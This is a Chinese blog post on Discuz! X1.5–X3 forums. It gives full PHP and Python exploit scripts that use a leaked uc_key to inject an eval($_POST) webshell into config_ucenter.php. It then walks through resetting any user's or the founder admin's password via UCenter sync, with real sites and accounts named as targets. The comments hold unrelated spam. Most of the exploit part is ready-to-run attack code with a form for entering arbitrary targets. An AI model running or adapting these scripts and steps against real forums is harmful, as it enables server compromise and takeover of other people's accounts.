最新消息:

Discuz X1.5 X2.5 X3用uc_key getshell与UC_KEY可重置论坛任意用户的密码

渗透流程与思路 admin 6329浏览 0评论

基础知识:

Discuiz!和UCenter是相互独立的,UCenter分为Server和Client。Discuiz!是作为UCenter Server的客户端存在的,其中默认集成有UCenter Client,而UCenter Server部分会在你安装Discuiz!时询问是否安装安装还是选择一个已经存在的UCenter Server。

20140108152755

 

 

一、Discuz X1.5 X2.5 X3用uc_key来get webshell

uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter  Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的(不过可以通过uc_key来将服务器上上的数据并重置用户口令,后面讲)。

90分享的exp代码如下:

<?php
// 代码版权归原作者所有!
    $timestamp = time()+10*3600;
    $host="localhost:8080";
    $uc_key="W7Qbc6K5O8Lb3fZ1b5Zaz984acI94dO4Mb00m24abcJ0c1Q669A3yb60HaQ4A101";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /dz3utf8/upload/api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    //var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

在实际使用过程中上述代码需要修改三个地址:$host,$uc_key和uc.php的路径,就是上面加粗的部分。由于我本地discuiz安装在了http://localhost:8080/dz3utf8/upload/api/uc.php,所以上面代码这样修改的。按照自己获取的信息修改上述代码后,只要执行该脚本,就会修改discuiz的配置文件获取到webshell:config/config_ucenter.php了。
为了使用方便,避免每次都要修改代码,php源代码可以修改成如下:

<?php
if(!isset($_POST['submit']))
{
    ?>
    <form action="#" method="POST">
        主机域名,如www.baidu.com:&nbsp;&nbsp;&nbsp;
        <input type="text" name="host"></input><br />
        uc_key:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <input type="text" name="uc_key"></input><br />
        uc.php路径,默认为/api/uc.php:
        <input type="text" name="path"></input><br />
                          <input type="submit" name="submit" value="提交"></input>
    </form>
    <?php
    exit(0);
}
// 代码版权归原作者所有!
    $timestamp = time()+10*3600;
    $host=$_POST['host'];
    $uc_key=$_POST['uc_key'];
    $path=$_POST['path']?$_POST['path']:'/api/uc.php';
    print $path;
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code,$path;
    $message = "POST ".$path."?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    //var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

执行上述代码后就会在/config/config_ucenter.php文件中添加webshell代码。

20140108163752 20140108163820 20140108163913

修改后的python代码如下:

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys


def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
    
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):
    '''
    发送命令获取webshell
    '''
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "访问出错"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"
    return "webshell:"+host+"/config/config_ucenter.php,password:1"
    
if __name__ == '__main__':
    host=sys.argv[1]
    key=sys.argv[2]
    url=host+"/api/uc.php"
    print get_shell(url,key,host)

使用方法:

20140112132153

即第一个参数是网站的根路径,第二个参数是uc_key

ps:经过测试在discuiz x2.5 x3 x3.1 下都测试成功。

ps:uc_key可以在discuiz后台中看,或者是通过泄露的配置文件中获取。访问discuiz目录下的admin.php登陆后台,在“站长”—>”UCenter 设置”中来查看uc_key.

20140108164624

参考资料:

1、Discuz X1.5 X2.5 X3 有uc_key getshell

2、DZ论坛系统 UC_KEY拿webshell

 

二、使用UC_KEY可重置论坛(除uid为1的)任意用户的密码

参考:途牛网某服务配置失误 导致论坛敏感文件泄露(致使百万用户信息告急)
通过获取到的UC_KEY,即可重置论坛任意用户的密码,并清除安全提问

~! 本地环境安装一个标准的Discuz X2论坛,然后选择站长->UCenter设置

http://127.0.0.1/admin.php?frames=yes&action=setting&operation=uc

填入获取到的信息:
19155458f87abcf0589d9746deb394967f8e0f72

记得:一定要选择接口方式,且 是否允许其他应用的会员在站点激活、是否允许直接激活 两项配置开启;

#4 设置完毕后,点工具->更新缓存 更新一下系统缓存

#5 来到用户管理界面,找到途牛旅游网的某个管理员信息

http://bbs.tuniu.com/space-uid-35064-profile.html

1915593580f5c14c55a1eceb824651db7f9f594c

#6 回到自己的本地论坛,添加一个管理员,用户名一定要和实际环境的一致

19160124db31abc7a836d11964259a5913dce3c5

~! 系统提示用户已经存在,是否在本地激活,选择 是

191602150f555e1555e720c50735af171b73d6f1

~! 这样管理员pandas的信息就通过UCenter的UC_KEY同步到了本地

用户 pandas(UID 35064) 添加成功

#7 查看pandas的信息,并修改他的密码,清除安全提问

19160501020d72b94abf76697d1f844daacf3055

#8 这样就能使用修改后的密码pandasISpandn,登录途牛旅游网论坛的后台了

19160619c88083406724834a0d1531be4ae293dd
ps:注意这种方法下不要重置uid为1的用户(因为该用户为管理员用户),若将uid的用户同步到本地,会把本地的管理员用户给覆盖掉,这样就本地后台admin.php就登陆不了。要重置uid为1的用户的办法可参考:weiphone(威锋)网存在安全漏洞可导致入侵,UCenter渗透技巧,详细过程如下:

 

三、使用uc_key重置管理员(uid为1)的用户

ps:重置uid的用户(即管理员)与其他用户的不同之处是要在安装过程中填写管理员时选取和目标站点同样的名字,而不是admin
1,先找到创始人管理员
14055739c890da98d77639ed3fbc61792531b35e

2,本地搭建dz

14055802b5fd60089ca3d6b11662baa4c26f2e61

14055822ae250f7d51a76b68ad5321c156bc8778

注意:用户名要跟目标的管理员一样,密码随意

3,登录自己搭建的论坛,并进入后台!

140600203f6a1badc16742ba40997df171fd9669

4,进入后台之后,修改ucenter设置

14060039f62c87a44e20e81239441014bd3b293f

5.这时候再来前台看看,发现已经把短消息同步过来了,后台可千万别关闭哦!

14062005c25966a63d61ee7231eec525557cda38

6.继续在后台,修改管理员密码。。。。。。

14062050b74598cdf50a5169a00fbfaa4588afdb

7.好了,之后weiphone任我行了
140621386fc654819e596dc38cf7172efd59466b

 

14062201b3fe517191978f34731ca0ce4938032e

 

140622528cf8fcf2bd4c22956c958e2267a6b3c3

 

参考资料:

1、途牛网某服务配置失误 导致论坛敏感文件泄露(致使百万用户信息告急)

2、weiphone(威锋)网存在安全漏洞可导致入侵,UCenter渗透技巧

转载请注明:jinglingshu的博客 » Discuz X1.5 X2.5 X3用uc_key getshell与UC_KEY可重置论坛任意用户的密码

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (4)

  1. 好文章, 以后多多交流.
    winger11年前 (2014-01-17)回复
  2. @winger 谢谢
    admin11年前 (2014-01-17)回复
  3. If you want to know how to build muscles http://testepites.eu , convert this article every one the way from end to end. Most people who strive to grow muscle gathering, whether men or women, construct a few uncomplicated mistakes which harm their efforts. Inside this article Unwell review a quantity of of these mistakes therefore you can create certain you're doing things accurate to make the most of your workouts. Common Muscle Building Mistakes 1. Trying to erect muscles and misplace mass by the side of the identical point in time - It amazes me that people attempt to unite mass beating with muscle expansion, other than they do! Gaining muscle as well resources in advance weight, other than not like fat handkerchief, fast muscle will create you seem fitter, firmer, and harder. The reason why you can't merge muscle increase with weight beating is that in arrange to gain muscle you need to generate a calorie surplus, and to lose mass requires a calorie deficit. To put it merely, in sort to put on top of collection, you necessitate to consume a lot. 2. Using exercise machinery by the gym - It's a mistake to utilize power teaching apparatus in the gym. Whenever you can, employ gratis weights. They provide a greater incentive and also job at the bottom of muscles groups improved. Let's immediately speak that if you want to erect muscle speedy, utilize without charge weights, not machines. 3. Low intensity guidance - A set of people leave to the gym and don't create the most of their workouts. One thing citizens perform is utilize weights which are besides beam meant for them. If you want to actually set resting on the muscle gathering, you require to accomplish far above the ground intensity lifting. Of course, you should perform clothes moderately and amplify your strength unhurriedly. But don't perform one yielding workouts. They're won't get you to erect your muscles fast. 4. Bad diet - Increasing muscle collection requires work and the indispensable structure blocks of the muscle which are protein and complex carbs. If you don't eat correct, your muscles will not at all build up appropriately. Within fact, you may even be alive causing yourself injury and harming your muscles by not feeding them adequate. Eat a lofty protein diet with a lot of tiny meals during the day to provide your muscles their building blocks. Eat multifaceted carbs to furnish yourself the true class of energy intended for your workouts. There's a lot additional to gaining muscle than what I wrote here, other than rider you want to build muscle collection speedy, create by avoiding these 4 mistakes. Click at this time to read supplementary in relation to construction muscles
    muskelaufbaupraparate10年前 (2015-12-03)回复
  4. Hurrah! At last I got a web site from where I can actually obtain valuable data concerning my study and knowledge.
    اجاره خودرو4年前 (2021-02-27)回复